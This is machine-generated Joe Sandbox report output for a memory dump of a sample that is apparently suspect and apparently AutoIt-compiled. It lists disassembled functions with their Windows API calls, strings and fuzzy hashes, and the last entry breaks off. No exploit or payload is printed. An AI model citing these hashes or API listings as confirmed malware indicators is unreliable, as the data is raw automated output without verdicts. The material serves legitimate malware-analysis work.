Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Resource$FindLoadLock__swprintf$CreateFromIconSizeof__woutput_l
String ID:
API String ID: 1433390588-0
Opcode ID: 73901d142e8b04eee0d67ff8f1c3176e4b03616d8687e5c62f5b0e91b0132657
Instruction ID: dab60093e0935433e2a4fd600720bed85900275ca141d29f5c7a4158533f1982
Opcode Fuzzy Hash: 73901d142e8b04eee0d67ff8f1c3176e4b03616d8687e5c62f5b0e91b0132657
Instruction Fuzzy Hash: 8C31E3B1A0128AAFCB21DF61DC48EBF7BACEF08301F004429F941D6140D779EA11EBA0

Function 00FE16DE Relevance: 15.1, APIs: 10, Instructions: 89threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00FE1700
GetForegroundWindow.USER32(00000000,?,?,?,?,?,00FE0778,?,00000001), ref: 00FE1714
GetWindowThreadProcessId.USER32(00000000), ref: 00FE171B
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00FE0778,?,00000001), ref: 00FE172A
GetWindowThreadProcessId.USER32(?,00000000), ref: 00FE173C
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00FE0778,?,00000001), ref: 00FE1755
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00FE0778,?,00000001), ref: 00FE1767
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00FE0778,?,00000001), ref: 00FE17AC
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00FE0778,?,00000001), ref: 00FE17C1
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00FE0778,?,00000001), ref: 00FE17CC

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: 3276f130a8c25349cd2689e0249c797582cb3e20496a816a1afbd021256b1851
Instruction ID: a4fb2fd003d30575ca2347293589f42a9d769c104f8dd428e3e77b6fcf3355cf
Opcode Fuzzy Hash: 3276f130a8c25349cd2689e0249c797582cb3e20496a816a1afbd021256b1851
Instruction Fuzzy Hash: A431C3B9A00244BBDB32DF26DD84F7937E9FB19B61F104014F844C6285DB7A9D40EB51

Function 00F8FBBD Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 264comCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00F8FC06
OleUninitialize.OLE32(?,00000000), ref: 00F8FCA5
UnregisterHotKey.USER32(?), ref: 00F8FDFC
DestroyWindow.USER32(?), ref: 00FC4A00
FreeLibrary.KERNEL32(?), ref: 00FC4A65
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00FC4A92

Strings

close all, xrefs: 00F8FC01

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: 3595d6bbdbda19fc7e2ae271781939705879b2ba946b87ce40d7d30d1cf946e1
Instruction ID: 6c3da9d23ca014efb4c832abb3e995732a7523ed2778dca7dbb9e5b01520cdac
Opcode Fuzzy Hash: 3595d6bbdbda19fc7e2ae271781939705879b2ba946b87ce40d7d30d1cf946e1
Instruction Fuzzy Hash: 98A19D71B012138FCB29EF10C9A5FA9F764AF05710F1442ADE90AAB251DB38ED16EF54

Function 00FDA693 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 241COMMON

Download Yara Rule

APIs

EnumChildWindows.USER32(?,00FDAA64), ref: 00FDA9A2

Strings

CLASS, xrefs: 00FDA721
CLASSNN, xrefs: 00FDA744
TEXT, xrefs: 00FDA8D9
NAME, xrefs: 00FDA7D4
INSTANCE, xrefs: 00FDA8B0
REGEXPCLASS, xrefs: 00FDA767

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: ChildEnumWindows
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 3555792229-1603158881
Opcode ID: dc5bc72ec148d694307b99c79b7db959a61c750e45d4b908c9393b14f5faf967
Instruction ID: 5bec0f4ce04da2c02d4758bada48307798a9f308ee5a00fe8f60d6bcb18d8cab
Opcode Fuzzy Hash: dc5bc72ec148d694307b99c79b7db959a61c750e45d4b908c9393b14f5faf967
Instruction Fuzzy Hash: B991EB71900606DBDB08EF70C891BEDFB76BF04314F188116E899A7241DF34AA59FB96

Function 00F82E26 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 186windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 00F82EAE

Part of subcall function 00F81DB3: GetClientRect.USER32(?,?), ref: 00F81DDC
Part of subcall function 00F81DB3: GetWindowRect.USER32(?,?), ref: 00F81E1D
Part of subcall function 00F81DB3: ScreenToClient.USER32(?,?), ref: 00F81E45

GetDC.USER32 ref: 00FBCF82
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00FBCF95
SelectObject.GDI32(00000000,00000000), ref: 00FBCFA3
SelectObject.GDI32(00000000,00000000), ref: 00FBCFB8
ReleaseDC.USER32(?,00000000), ref: 00FBCFC0
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 00FBD04B

Strings

U, xrefs: 00FBCF20

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: 09fd0647643c95be30fe3763294d076fcf16838b540b80283cc47fe2042ba816
Instruction ID: 3a1c0c929fca3524721d20dd5c1e1986d1c6622e453a872572ed7ecde984c274
Opcode Fuzzy Hash: 09fd0647643c95be30fe3763294d076fcf16838b540b80283cc47fe2042ba816
Instruction Fuzzy Hash: 6D71D171800205DFCF21EF65C880AFA3BB6FF49360F1442AAED955A199D7329841FF61

Function 0100C27C Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 149windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F82612: GetWindowLongW.USER32(?,000000EB), ref: 00F82623

Part of subcall function 00F82344: GetCursorPos.USER32(?), ref: 00F82357
Part of subcall function 00F82344: ScreenToClient.USER32(010467B0,?), ref: 00F82374
Part of subcall function 00F82344: GetAsyncKeyState.USER32(00000001), ref: 00F82399
Part of subcall function 00F82344: GetAsyncKeyState.USER32(00000002), ref: 00F823A7

ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?), ref: 0100C2E4
ImageList_EndDrag.COMCTL32 ref: 0100C2EA
ReleaseCapture.USER32 ref: 0100C2F0
SetWindowTextW.USER32(?,00000000), ref: 0100C39A
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 0100C3AD
DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?), ref: 0100C48F

Strings

@GUI_DROPID, xrefs: 0100C3E1
@GUI_DRAGFILE, xrefs: 0100C424

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID
API String ID: 1924731296-2107944366
Opcode ID: 2e576431823b8b64a741d9fa5af3cbe23ec701c8207a60052ce8fc3ef68268d8
Instruction ID: 75b4a302e8f093f0369b8bed4e9acba2ba492afc39afa0e71bb55a544528945a
Opcode Fuzzy Hash: 2e576431823b8b64a741d9fa5af3cbe23ec701c8207a60052ce8fc3ef68268d8
Instruction Fuzzy Hash: 6551CFB4204301AFE715EF24C995FAA7BE0FB88310F00865DF5D18B2E1DB7AA944DB52

Function 00FF8F5B Relevance: 13.9, APIs: 9, Instructions: 438COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?,0100F910), ref: 00FF903D
FreeLibrary.KERNEL32(00000000,00000001,00000000,?,0100F910), ref: 00FF9071
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00FF91EB
SysFreeString.OLEAUT32(?), ref: 00FF9215

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Free$FileLibraryModuleNamePathQueryStringType
String ID:
API String ID: 560350794-0
Opcode ID: dd01a0ee035ae479c3e96ab9421c9a5a3b3d4a759575ee2e994fa8db6b2dbd4f
Instruction ID: f99b54dff030dadecd0182fa0d5b15a611449c526841b392cadc7d45c270501b
Opcode Fuzzy Hash: dd01a0ee035ae479c3e96ab9421c9a5a3b3d4a759575ee2e994fa8db6b2dbd4f
Instruction Fuzzy Hash: 04F13B71A04109EFDB14DF94C888EBEB7B9FF89314F108099F615AB2A0DB71AE45DB50

Function 00FFF9A8 Relevance: 13.9, APIs: 9, Instructions: 386processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FFF9C9
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00FFFB5C
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00FFFB80
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00FFFBC0
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00FFFBE2
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00FFFD5E
GetLastError.KERNEL32(00000000,00000001,00000000), ref: 00FFFD90
CloseHandle.KERNEL32(?), ref: 00FFFDBF
CloseHandle.KERNEL32(?), ref: 00FFFE36

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
String ID:
API String ID: 4090791747-0
Opcode ID: a62b7a5f832cad78597966995dabfe18a782781163c0a0129fd5e09c074da650
Instruction ID: bceb19a40d197de06341922bd4b2b4a8d7d0e310a91ca98342fa398d85cf8404
Opcode Fuzzy Hash: a62b7a5f832cad78597966995dabfe18a782781163c0a0129fd5e09c074da650
Instruction Fuzzy Hash: E2E1D3316043059FC724EF24C881B7ABBE0AF85364F18846DF9999B2A2CB75DC45EB52

Function 00FE4F63 Relevance: 13.7, APIs: 9, Instructions: 170filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FE48AA: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00FE38D3,?), ref: 00FE48C7

Part of subcall function 00FE48AA: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00FE38D3,?), ref: 00FE48E0

Part of subcall function 00FE4CD3: GetFileAttributesW.KERNEL32(?,00FE3947), ref: 00FE4CD4

lstrcmpiW.KERNEL32(?,?), ref: 00FE4FE2
_wcscmp.LIBCMT ref: 00FE4FFC
MoveFileW.KERNEL32(?,?), ref: 00FE5017

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
String ID:
API String ID: 793581249-0
Opcode ID: 3d938e0bfe0bf89e5d6f8e7489325e76ac7a860c283e1db6c5755b8fe02440a0
Instruction ID: 3055a4fb0fdcc7afa9368c61efd4bd2c0b81199e348a04604c404c4f96174366
Opcode Fuzzy Hash: 3d938e0bfe0bf89e5d6f8e7489325e76ac7a860c283e1db6c5755b8fe02440a0
Instruction Fuzzy Hash: E95193B24087859BC764EB65CC819DFB3ECAF85710F10092EB285C3151EF78E2889766

Function 010088B4 Relevance: 13.7, APIs: 9, Instructions: 168COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 0100896E

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: b13e965d23a7db490b90417b1f0900d0f52e1a7afde6c9e8841a0086d03e15b5
Instruction ID: de8fa799cef72537be177c382b87f4fd654b8f1167280790b1fd4dbb05d32704
Opcode Fuzzy Hash: b13e965d23a7db490b90417b1f0900d0f52e1a7afde6c9e8841a0086d03e15b5
Instruction Fuzzy Hash: E751A230D00209BBFF739F28DC85B993BA4BB06310F108153F695E65D1DB76A6809B51

Function 00F82B72 Relevance: 13.7, APIs: 9, Instructions: 161windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 00FBC547
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00FBC569
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 00FBC581
ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 00FBC59F
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 00FBC5C0
DestroyIcon.USER32(00000000), ref: 00FBC5CF
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 00FBC5EC
DestroyIcon.USER32(?), ref: 00FBC5FB

Part of subcall function 0100A71E: DeleteObject.GDI32(00000000), ref: 0100A757

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend$DeleteObject
String ID:
API String ID: 2819616528-0
Opcode ID: ae616ea152624912e7524d594438f69184ed805c158132c320d8552a3de59293
Instruction ID: 20924c1a885bac65493790ae9dddcdc383162325600fed34ad7d2e5cb6d76fcd
Opcode Fuzzy Hash: ae616ea152624912e7524d594438f69184ed805c158132c320d8552a3de59293
Instruction Fuzzy Hash: 765168B5A00209AFDB20EF25CC85FEA37A5FB59760F100518F94697290DB75FD81EBA0

Function 00FD9B50 Relevance: 13.6, APIs: 9, Instructions: 66sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FDAE57: GetWindowThreadProcessId.USER32(?,00000000), ref: 00FDAE77
Part of subcall function 00FDAE57: GetCurrentThreadId.KERNEL32 ref: 00FDAE7E
Part of subcall function 00FDAE57: AttachThreadInput.USER32(00000000,?,00FD9B65,?,00000001), ref: 00FDAE85

MapVirtualKeyW.USER32(00000025,00000000), ref: 00FD9B70
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00FD9B8D
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 00FD9B90
MapVirtualKeyW.USER32(00000025,00000000), ref: 00FD9B99
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00FD9BB7
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00FD9BBA
MapVirtualKeyW.USER32(00000025,00000000), ref: 00FD9BC3
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00FD9BDA
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00FD9BDD

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: 0002fc835e0ce0ef0cbb3d0c088d65907ba3c08d6cf2f77b161cb68693eddb3b
Instruction ID: d4469a869e8af9f64a52698cc82146075de6cc15c27c580a621ed6fbb871a42f
Opcode Fuzzy Hash: 0002fc835e0ce0ef0cbb3d0c088d65907ba3c08d6cf2f77b161cb68693eddb3b
Instruction Fuzzy Hash: 1F11E171554618BFF6216B70DC89FAA3B2DEB4C751F110416F284AB190CAF75C10EBA4

Function 00FD8E03 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,00FD8A84,00000B00,?,?), ref: 00FD8E0C
HeapAlloc.KERNEL32(00000000,?,00FD8A84,00000B00,?,?), ref: 00FD8E13
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00FD8A84,00000B00,?,?), ref: 00FD8E28
GetCurrentProcess.KERNEL32(?,00000000,?,00FD8A84,00000B00,?,?), ref: 00FD8E30
DuplicateHandle.KERNEL32(00000000,?,00FD8A84,00000B00,?,?), ref: 00FD8E33
GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,00FD8A84,00000B00,?,?), ref: 00FD8E43
GetCurrentProcess.KERNEL32(00FD8A84,00000000,?,00FD8A84,00000B00,?,?), ref: 00FD8E4B
DuplicateHandle.KERNEL32(00000000,?,00FD8A84,00000B00,?,?), ref: 00FD8E4E
CreateThread.KERNEL32(00000000,00000000,00FD8E74,00000000,00000000,00000000), ref: 00FD8E68

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 2768727b7e16f585b966a73f44adea6c0b091c18a793271aac7a7d0e1adb1b06
Instruction ID: 771ad281427d503985938594f11de2bc0ef4a5837e8710635dd93ca35f7af36f
Opcode Fuzzy Hash: 2768727b7e16f585b966a73f44adea6c0b091c18a793271aac7a7d0e1adb1b06
Instruction Fuzzy Hash: 5701B6B5240309BFE731EBA5DC4DFAB3BACEB89711F004411FA45DB295CA759800DB20

Function 00FF9428 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 263COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FF947C
VariantInit.OLEAUT32(?), ref: 00FF954D
VariantInit.OLEAUT32(?), ref: 00FF964E
VariantClear.OLEAUT32(?), ref: 00FF9658
VariantClear.OLEAUT32(?), ref: 00FF96B5

Strings

Incorrect Object type in FOR..IN loop, xrefs: 00FF9631
Null Object assignment in FOR..IN loop, xrefs: 00FF94DD, 00FF960B, 00FF96C3

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Variant$ClearInit$_memset
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2862541840-625585964
Opcode ID: 3895d1e8b1f1546a24fd0828cc15a4f1ed534447b11aaddc37e6d3d6c54ffc16
Instruction ID: 985f8f2a2802c991382e026e4da81a7f50d168268ae0b5d9a5ed511502b1728f
Opcode Fuzzy Hash: 3895d1e8b1f1546a24fd0828cc15a4f1ed534447b11aaddc37e6d3d6c54ffc16
Instruction Fuzzy Hash: 0891CF71E04219ABDF24DFA5C844FAEB7B8EF45720F148559F605EB2A0D7B09901DFA0

Function 00FF9A72 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

Part of subcall function 00FD7652: CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00FD758C,80070057,?,?,?,00FD799D), ref: 00FD766F
Part of subcall function 00FD7652: ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00FD758C,80070057,?,?), ref: 00FD768A
Part of subcall function 00FD7652: lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00FD758C,80070057,?,?), ref: 00FD7698
Part of subcall function 00FD7652: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00FD758C,80070057,?), ref: 00FD76A8

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,?,?,?), ref: 00FF9B1B
_memset.LIBCMT ref: 00FF9B28
_memset.LIBCMT ref: 00FF9C6B
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,00000000), ref: 00FF9C97
CoTaskMemFree.OLE32(?), ref: 00FF9CA2

Strings

NULL Pointer assignment, xrefs: 00FF9CF0

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

